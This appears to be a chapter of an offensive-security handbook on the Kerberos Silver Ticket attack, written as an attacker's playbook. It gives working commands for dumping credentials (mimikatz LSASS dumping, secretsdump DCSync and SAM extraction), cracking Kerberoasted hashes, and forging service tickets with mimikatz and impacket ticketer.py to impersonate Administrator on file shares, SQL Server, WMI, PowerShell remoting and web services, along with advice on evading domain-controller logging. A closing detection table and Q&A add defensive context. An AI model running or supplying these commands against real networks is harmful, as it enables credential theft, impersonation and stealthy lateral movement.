Chapter 111

Silver Ticket Attack

Forging service tickets using service account NT hashes — authenticating to specific services without any KDC contact, creating undetectable lateral movement paths that survive domain-level remediation

Scenario

You Kerberoasted the SQL service account (MSSQLSvc/dbserver01.corp.local:1433) and cracked its password in 20 minutes — it was "SqlSvc2019!". Now you have the service account's NT hash. Instead of using the password directly, you forge a Kerberos service ticket (TGS) that claims you are the SQL Server's local administrator. The forged ticket is encrypted with the service account's NT hash — valid on the SQL server's end. The DC is never contacted during authentication. No 4768/4769 events. This is the Silver Ticket: targeted, stealthy, and survives domain admin resets as long as the service account password doesn't change.

Silver Ticket Concept — Forging a Service Ticket

Standard Kerberos TGS (service ticket) flow: Client → KDC: TGS-REQ (with TGT + SPN) KDC → Client: TGS-REP (service ticket encrypted with SERVICE account hash) Client → Service: AP-REQ (present service ticket) Service decrypts ticket using its own key, checks PAC Silver Ticket skips the KDC entirely: Forge the TGS encrypted with the SERVICE account hash (which you have) Client → Service: AP-REQ (forged service ticket) Service decrypts ticket using its own key — valid signature No TGS-REQ ever sent to KDC → no 4769 event What you need: - Service account NT hash (from Kerberoasting crack, LSASS dump, DCSync) - Service account SPN (e.g., MSSQLSvc/dbserver01.corp.local:1433) - Domain SID - Domain name What you control in the forged PAC: - Username (claim to be Administrator or any user) - Group memberships (add local admin groups) - SID history (add privileged SIDs) - Ticket lifetime (set to 10+ years) Scope limitation: the forged ticket only works for ONE specific SPN. A Silver Ticket for cifs/server01 doesn't work on http/server01. Multiple tickets needed for multiple services.

Golden Ticket vs Silver Ticket

FactorGolden TicketSilver Ticket
Hash neededkrbtgt NT hash (hardest to get)Service account NT hash (easier via Kerberoasting)
KDC contact during useTGS-REQ contact when using the TGTNone — service validates directly
ScopeAny service in the domainOnly the specific SPN
DC log events4769 events when requesting TGSNo DC events at all — invisible to DC logs
Invalidated byTwo krbtgt password rotationsService account password change
PAC validationKDC signs the PAC — harder to forge safelyService validates locally — easier to forge
OPSECLeaves some DC eventsCompletely stealth from DC perspective

Getting Service Account Hashes for Silver Tickets

# Sources for service account NT hashes:

# 1. Kerberoasting → crack → NT hash from plaintext
hashcat -m 13100 tgs_hash.txt rockyou.txt --show
# Once cracked: derive NT hash from password:
python3 -c "import hashlib; print(hashlib.new('md4','SqlSvc2019!'.encode('utf-16-le')).hexdigest())"

# 2. LSASS dump (if service is running on current machine)
mimikatz# sekurlsa::logonpasswords
# Service accounts show up in LSASS if they've logged on

# 3. DCSync (if you already have DA)
secretsdump.py corp.local/Administrator:password@dc01 -just-dc-user svc_sql
# Output: corp.local\svc_sql:1234:aad3b435...:3d8a2c1b4e5f6789...:::

# 4. SAM hive (for local service accounts — SYSTEM on target)
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Gets local accounts including local "mssql" service accounts

# Machine account hashes (for HOST/,RPCSS/,HTTP/ SPNs)
# Machine accounts end in $, rotate every 30 days
# Get from DCSync or from the machine's own LSASS (not the domain user's hash)
secretsdump.py corp.local/Administrator:password@dc01 -just-dc-user 'SERVER01$'

Forging Silver Tickets with Mimikatz

# Forge silver ticket for CIFS (file share access on SERVER01)
mimikatz# kerberos::golden \
    /user:Administrator \
    /domain:corp.local \
    /sid:S-1-5-21-3462848041-2242272571-3741800826 \
    /target:server01.corp.local \
    /service:cifs \
    /rc4:3d8a2c1b4e5f6789abcdef01234567890 \
    /ptt

# /target: the target host FQDN
# /service: the SPN service class (cifs, http, mssql, host, rpcss, etc.)
# /rc4:     the SERVICE ACCOUNT's NT hash (not krbtgt)
# /ptt:     inject ticket

# Verify access
dir \\server01\c$           # CIFS share access
net use \\server01\admin$   # mount admin share

# Forge silver ticket for MSSQLSvc
mimikatz# kerberos::golden \
    /user:Administrator \
    /domain:corp.local \
    /sid:S-1-5-21-3462848041-2242272571-3741800826 \
    /target:dbserver01.corp.local \
    /service:MSSQLSvc \
    /rc4:[svc_sql_NT_hash] \
    /ptt

# After injection: connect to SQL Server as sysadmin
# sqlcmd -S dbserver01.corp.local -Q "SELECT @@SERVERNAME, SUSER_SNAME()"

# Forge HOST/ for WMI/remote management
mimikatz# kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-... /target:server01.corp.local /service:host \
    /rc4:[machine_account_hash] /ptt
# After: Invoke-WmiMethod / Get-WmiObject works as Administrator on target

# WSMAN for PowerShell remoting
mimikatz# kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-... /target:server01.corp.local /service:WSMAN \
    /rc4:[machine_account_hash] /ptt
# After: Enter-PSSession server01

impacket Silver Ticket

# impacket ticketer.py for silver ticket (requires -spn flag)
ticketer.py \
    -nthash 3d8a2c1b4e5f6789abcdef01234567890 \
    -domain-sid S-1-5-21-3462848041-2242272571-3741800826 \
    -domain corp.local \
    -spn cifs/server01.corp.local \
    Administrator

# Output: Administrator.ccache (contains silver ticket for cifs/server01)

export KRB5CCNAME=Administrator.ccache
smbclient.py //server01.corp.local/C$ -k -no-pass

# Silver ticket for HTTP/SharePoint
ticketer.py \
    -nthash [sharepoint_svc_hash] \
    -domain-sid S-1-5-21-... \
    -domain corp.local \
    -spn http/sharepoint.corp.local \
    Administrator

export KRB5CCNAME=Administrator.ccache
# Now access SharePoint as Administrator via HTTP Kerberos auth

SPN Types and Attack Scope

SPN ClassServiceRequired HashGrants Access To
cifs/hostnameSMB file shares, remote management via PsExecMachine account hash (HOSTNAME$)File system access, admin shares (C$, ADMIN$)
host/hostnameGeneric host services (scheduled tasks, WMI, services)Machine account hashWMI, scheduled tasks, service control
WSMAN/hostnamePowerShell Remoting (WinRM)Machine account hashEnter-PSSession, Invoke-Command
HTTP/hostnameIIS, SharePoint, Exchange, web appsService account hash (AppPool account)Web application access as impersonated user
MSSQLSvc/hostname:portSQL ServerSQL service account hashSQL Server login as sysadmin
RPCSS/hostnameDistributed COM (DCOM)Machine account hashRemote COM object instantiation
GC/hostnameGlobal Catalog LDAPKRBTGT hash (Golden for this scope)LDAP queries to global catalog

Why No DC Contact Is Key for Stealth

Most SIEM/EDR detection of Kerberos attacks relies on DC event logs (4768, 4769, 4770). A Silver Ticket completely bypasses the KDC for the authentication step. The service accepts the AP-REQ directly, using its own key to decrypt. This means:

PAC Validation Option

Since Windows Server 2012 R2, the KDC can optionally validate the PAC when services request it. The service can set the KERB_VERIFY_PAC privilege request — the service sends the PAC to the DC for validation. If a server has this enabled, a Silver Ticket with a forged PAC will fail PAC verification at the DC. However, very few services enable this because it adds latency to every authentication. SQL Server, IIS, and most services do not enable it by default. It can be enforced via Group Policy but is rarely deployed.

Detection

SignalSourceNotes
Service authentication event (4624) on target without corresponding 4769 on DC for that ticketTarget + DC correlationRequires cross-host event correlation; the gap between DC absence and service auth is the signal
Kerberos service ticket with unusual lifetime on the target (if service logs ticket fields)Target Security Log / ETW10-year Silver Tickets detectable if the service logs the ticket's endtime
PAC validation failures — if PAC validation is enabledDC Security LogHigh fidelity but requires enabling PAC validation on services (performance impact)
Service account password change event (4723/4724) followed by continued service access to target — if ticket is still being used post-rotationDC + Target correlationAfter the service account password changes, Silver Tickets with old hash still work — continued access is an indicator

Q&A

Why does a Silver Ticket survive a domain administrator password reset but not a service account password change?

A Silver Ticket is encrypted with the service account's NT hash — not the krbtgt hash, not the domain admin hash. The DC doesn't participate in validating the Silver Ticket at authentication time (unless PAC validation is enabled). The service itself decrypts the ticket using its own current session key, derived from its own password/NT hash. When the service account's password changes, its NT hash changes. Any Silver Ticket forged with the old hash can no longer be decrypted by the service — authentication fails. A domain admin password reset doesn't affect the service account's hash at all, so the Silver Ticket remains valid. The practical implication for incident response: to invalidate a Silver Ticket, you must change the specific service account's password. If the compromised service is "cifs/server01" using the machine account (SERVER01$), you must reset SERVER01$'s password. Machine account passwords auto-rotate every 30 days by default, so all Silver Tickets targeting machine accounts expire naturally within a month even without intervention. Service account passwords (human-managed) often never rotate — a Silver Ticket for MSSQLSvc with a service account password unchanged for years remains valid indefinitely.

Can a Silver Ticket be used to pivot to a second machine, or is it restricted to the target SPN's machine?

A Silver Ticket is valid for exactly one SPN. If you forge cifs/server01.corp.local, you can only access file shares on server01. If you want access to server02, you need a separate Silver Ticket for cifs/server02.corp.local — which requires server02's machine account hash. However, with access to server01 via cifs, you can dump server01's local SAM hive, extract server02's credentials from its cached logons (if a domain user with server02 access has logged on to server01), or use server01 as a jump point for further attacks. The Silver Ticket doesn't inherently grant access to other machines — it's strictly scoped to the SPN it was forged for. This is the tradeoff compared to a Golden Ticket, which can generate TGS tickets for any service. Practically, attackers often combine: use a Golden Ticket (from krbtgt hash) to get TGS tickets for multiple services, which is effectively a Silver Ticket flow but KDC-assisted — giving the flexibility of any service access with the traceability of legitimate TGS requests on the DC.